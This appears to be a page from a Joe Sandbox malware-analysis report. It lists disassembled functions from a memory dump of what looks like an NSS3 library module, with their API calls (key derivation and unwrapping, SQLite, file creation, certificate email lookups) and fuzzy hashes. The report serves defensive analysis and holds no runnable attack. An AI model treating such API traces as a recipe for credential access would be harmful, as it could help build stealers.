Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 9290131586da4d0db60070eeb52a33e253ab3ee1e63f431069e1a3b3c9dd692e
Instruction ID: df64adaac15512977bfb27417559e42708a35e0018df28e34d6b2856221d13a4
Opcode Fuzzy Hash: 9290131586da4d0db60070eeb52a33e253ab3ee1e63f431069e1a3b3c9dd692e
Instruction Fuzzy Hash: 8FF09666E8162023F610236AAD46F8765985F5A75DF040031E90CA7F82FA529519C3F3

Function 6CC4C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CC4CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC4CB4B
sqlite3_free.NSS3 ref: 6CC4CB70
sqlite3_result_error_nomem.NSS3 ref: 6CC4CB99

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 3ba7253d35053b767e3b3cdb3212d8928fd6f9e5e44acd3b0ce0907a8e390614
Instruction ID: 66b9c1a2ca3862b4778704b428811fc9e5011463257e9151867f14eab397e42d
Opcode Fuzzy Hash: 3ba7253d35053b767e3b3cdb3212d8928fd6f9e5e44acd3b0ce0907a8e390614
Instruction Fuzzy Hash: 1E51D332A08B458AD711EF36C05022FF7F5BF86798F10CA0DE8956AA60EB30D4D9C752

Function 6CD14FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CBF85D2,00000000,?,?), ref: 6CD14FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD1500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD150D6

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: f922ac4ab6eef9a4f40c588aa8d93054d694ddb567d07a614be1a0d5eeeea43a
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 3A418CB2A442118FCB18CF58DC9179AB7E1BF44318B1D466DC84ACBB02F379E891CB91

Function 6CCCCF00 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CCCD01E

Part of subcall function 6CC9E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC9E5A0

PK11_FreeSymKey.NSS3(00000000), ref: 6CCCD055

Part of subcall function 6CC9ADC0: TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE10
Part of subcall function 6CC9ADC0: EnterCriticalSection.KERNEL32(?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE24
Part of subcall function 6CC9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC7D079,00000000,00000001), ref: 6CC9AE5A
Part of subcall function 6CC9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE6F
Part of subcall function 6CC9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE7F
Part of subcall function 6CC9ADC0: TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEB1
Part of subcall function 6CC9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEC9

PK11_PubUnwrapSymKey.NSS3(?,00000000,6CCCCC55,00000107,00000000), ref: 6CCCD079
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCCD08C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$CriticalEnterErrorSectionValue$DeriveFreeUnlockUnwrapWithfreememset
String ID:
API String ID: 324975836-0
Opcode ID: f59b35b2fef61dd6da3dfd33c8a754b6a27237b30274432403bb08e54116c01e
Instruction ID: 4f22f4357c07390875c61df141bb8ab22bef1dd30cf1e26f3ddec6f65a798b98
Opcode Fuzzy Hash: f59b35b2fef61dd6da3dfd33c8a754b6a27237b30274432403bb08e54116c01e
Instruction Fuzzy Hash: 374181B1A04219DBE710CF19DC40BA9F7F5FF44308F0586AAE90CA7751E7319A86CB95

Function 6CD6A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CD6A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CD6A662), ref: 6CD6A69E
Part of subcall function 6CD6A690: PR_NewCondVar.NSS3(?), ref: 6CD6A6B4

PR_IntervalNow.NSS3 ref: 6CD6A8C6
EnterCriticalSection.KERNEL32(?), ref: 6CD6A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6A944
PR_SetPollableEvent.NSS3(?), ref: 6CD6A94F

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 192dde3909590a83dce71f9ffdc2bb8346f30de04e7d9ae5526266c660134c5b
Instruction ID: 6dfa01860eb4bfb0397149787b1413f549399eaeb2020a775cc8d8dfbea0c189
Opcode Fuzzy Hash: 192dde3909590a83dce71f9ffdc2bb8346f30de04e7d9ae5526266c660134c5b
Instruction Fuzzy Hash: F7413AB4A01A12DFC704CF2AD580956FBF5FF48318B65856AD59ACBF21E731E850CBA0

Function 6CCC2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CCC1289,?), ref: 6CCC2D72

Part of subcall function 6CCC3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CCC2CA7,E80C76FF,?,6CCC1289,?), ref: 6CCC33E9
Part of subcall function 6CCC3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CCC342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCC1289,?), ref: 6CCC2D61

Part of subcall function 6CCC0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCC0B21
Part of subcall function 6CCC0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCC0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CCC1289,?), ref: 6CCC2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CCC1289,?), ref: 6CCC2DAF

Part of subcall function 6CC7B8F0: PR_CallOnceWithArg.NSS3(6CDB2178,6CC7BCF0,?), ref: 6CC7B915
Part of subcall function 6CC7B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CC7B933
Part of subcall function 6CC7B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CC7B9C8
Part of subcall function 6CC7B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CC7B9E1

Part of subcall function 6CCC0A50: SECOID_GetAlgorithmTag_Util.NSS3(6CCC2A90,E8571076,?,6CCC2A7C,6CCC21F1,?,?,?,00000000,00000000,?,?,6CCC21DD,00000000), ref: 6CCC0A66

Part of subcall function 6CCC3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CCC2D1E,?,?,?,?,00000000,?,?,?,?,?,6CCC1289), ref: 6CCC3348

Part of subcall function 6CCC06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CCC2E70,00000000), ref: 6CCC0701

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: 309956e41ea2f5deed55f2eda11b0d6effdb4c165f0f8dd293eaf01222c20a51
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 1E31D6B6B00201ABDB009F64EC54E9A3769BF5531DF180170EC159BB91FB31E969C7A3

Function 6CCC6AE0 Relevance: 6.1, APIs: 4, Instructions: 105threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CCC6B3E

Part of subcall function 6CCC6C20: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CCC6C8A
Part of subcall function 6CCC6C20: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CCC6C90

Part of subcall function 6CCC7E20: PR_SetError.NSS3(00000000,00000000), ref: 6CCC7E5F

PR_SetError.NSS3(FFFFD07B,00000000), ref: 6CCC6B84
PR_EnterMonitor.NSS3(?), ref: 6CCC6BE0
PR_ExitMonitor.NSS3(?), ref: 6CCC6C01

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ErrorMonitorfree$CurrentEnterExitThread
String ID:
API String ID: 4197271849-0
Opcode ID: b27a2bbdbe651b12a75864fca6a6473e3b1fcf8ca80cde443fb191687567f599
Instruction ID: c01dce42bad7a10e6561eabc131c17e840476790440a70b2bea3b8a769ec6696
Opcode Fuzzy Hash: b27a2bbdbe651b12a75864fca6a6473e3b1fcf8ca80cde443fb191687567f599
Instruction Fuzzy Hash: BB3123B1B009015BD7109A259DA1BBF3668DF5532CF080230ED09DBB96FB31D90AD7A3

Function 6CC56C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC56C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC56CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC56CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CD78FE0), ref: 6CC56CFE

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: d3ffa58d562fdc9a002a84b4e25a09e56df329ef8b17dfe0080f4ee51a78b81f
Instruction ID: 6f4c088969a339539af45a53410cb11458ddb5929ee391eb27693c9046c12c9d
Opcode Fuzzy Hash: d3ffa58d562fdc9a002a84b4e25a09e56df329ef8b17dfe0080f4ee51a78b81f
Instruction Fuzzy Hash: 683181B1A006169FEB04CF65C891ABFBBF5EF45248F50442DD905E7750FB31A926CBA0

Function 6CD64F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CD64F5D
free.MOZGLUE(?), ref: 6CD64F74
free.MOZGLUE(?), ref: 6CD64F82
GetLastError.KERNEL32 ref: 6CD64F90

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b4a38fef6cdb04b81134d607324ab12aa346b11f0e3ec594db851891f97aedd7
Instruction ID: 174e24c9ecc351bf68e46b9a20b1f4532dc5d9cb4362762f466534943c6a0371
Opcode Fuzzy Hash: b4a38fef6cdb04b81134d607324ab12aa346b11f0e3ec594db851891f97aedd7
Instruction Fuzzy Hash: FC314D75A002099BEB01DBAADC91BDFB3F8EF85354F040125ED15A7B90DB35D904C691

Function 6CCC6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CCC6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCC6E57

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CCC6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CCC6EAA

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 020baf0ebc38bc6a6988ef7db73ae17113305698138706b28be415d3e092039d
Instruction ID: 44dfffd4684fc6379c74e87ea952d822b31438a49c53d34b713c192128d51eb3
Opcode Fuzzy Hash: 020baf0ebc38bc6a6988ef7db73ae17113305698138706b28be415d3e092039d
Instruction Fuzzy Hash: 44319371B14D16EEDB145F34DE043A6B7A4AB0531AF10063ED49AD6A90F730A954CF93

Function 6CCC2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CCC2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CCC2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCC294C
free.MOZGLUE(?), ref: 6CCC2955

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: adb51de744cf05353578b3377b8fc98dcb2ba3fda4507d29de0bbf90c74e5572
Instruction ID: b83e7d72a7bcd1462ee8c2219588219930308c2637877e0250f780209edba4d7
Opcode Fuzzy Hash: adb51de744cf05353578b3377b8fc98dcb2ba3fda4507d29de0bbf90c74e5572
Instruction Fuzzy Hash: 6221D3B67006019BE7209B2AEC5DF5777E9EF84368F044538E449C7B61FB32E4198752

Function 6CCFA8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CCE2AE9,00000000,0000065C), ref: 6CCFA91D

Part of subcall function 6CC9ADC0: TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE10
Part of subcall function 6CC9ADC0: EnterCriticalSection.KERNEL32(?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE24
Part of subcall function 6CC9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC7D079,00000000,00000001), ref: 6CC9AE5A
Part of subcall function 6CC9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE6F
Part of subcall function 6CC9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE7F
Part of subcall function 6CC9ADC0: TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEB1
Part of subcall function 6CC9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CCE2AE9,00000000,0000065C), ref: 6CCFA934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CCE2AE9,00000000,0000065C), ref: 6CCFA949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CCFA952

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 966da95f3a581ea6cf314b1b96d164ec5c1eba23f736a11e8b8b53fce156e572
Instruction ID: 97aadde956c5d918d4a6ec9d8a6ff932c0648826fb6ea84655598198b9933183
Opcode Fuzzy Hash: 966da95f3a581ea6cf314b1b96d164ec5c1eba23f736a11e8b8b53fce156e572
Instruction Fuzzy Hash: 4D3139B5601201AFD704CF29D980E62B7F8FF88318F1581A9E8198B756E731ED01CBA1

Function 6CC94FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC9B60F,00000000), ref: 6CC95003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC9B60F,00000000), ref: 6CC9501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CC9B60F,00000000), ref: 6CC9504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CC9B60F,00000000), ref: 6CC95064

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a1a7a63950a634817e16e2249cc219115d6f5e9253c24edc33b1b7acc3ecd6c9
Instruction ID: 556a62db3e8173027fd73b8026b9d76fea4b14f84d474e4d8f08f788f6eabcd3
Opcode Fuzzy Hash: a1a7a63950a634817e16e2249cc219115d6f5e9253c24edc33b1b7acc3ecd6c9
Instruction Fuzzy Hash: F93126B0A05A06CFDB00EF68C48466ABBF4FF48314F108669E959DB701E731E891CBD1

Function 6CC7ABF0 Relevance: 6.1, APIs: 4, Instructions: 74stringCOMMON

Download Yara Rule

APIs

CERT_GetFirstEmailAddress.NSS3(?), ref: 6CC7AC0B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC7AC26
PR_Now.NSS3 ref: 6CC7AC34
CERT_GetNextEmailAddress.NSS3(?,00000000), ref: 6CC7AC6E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: AddressEmail$FirstNextstrcmp
String ID:
API String ID: 3008928262-0
Opcode ID: 1da526a7cbc5cdc9206b444f481bf40123e705793e999af3769e06e7817e8e11
Instruction ID: 58381a17a1a9e50c3e15e8223c2b4f35b01715a0ca7303f4bc1d0f395cee37f0
Opcode Fuzzy Hash: 1da526a7cbc5cdc9206b444f481bf40123e705793e999af3769e06e7817e8e11
Instruction Fuzzy Hash: 0111D3B1A012057FA7109F6A9C819AB77E8EF85658B540438FD18C7B51FB22D828C6B6

Function 6CCC2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CCC2E08

Part of subcall function 6CCB14C0: TlsGetValue.KERNEL32 ref: 6CCB14E0
Part of subcall function 6CCB14C0: EnterCriticalSection.KERNEL32 ref: 6CCB14F5
Part of subcall function 6CCB14C0: PR_Unlock.NSS3 ref: 6CCB150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CCC2E1C
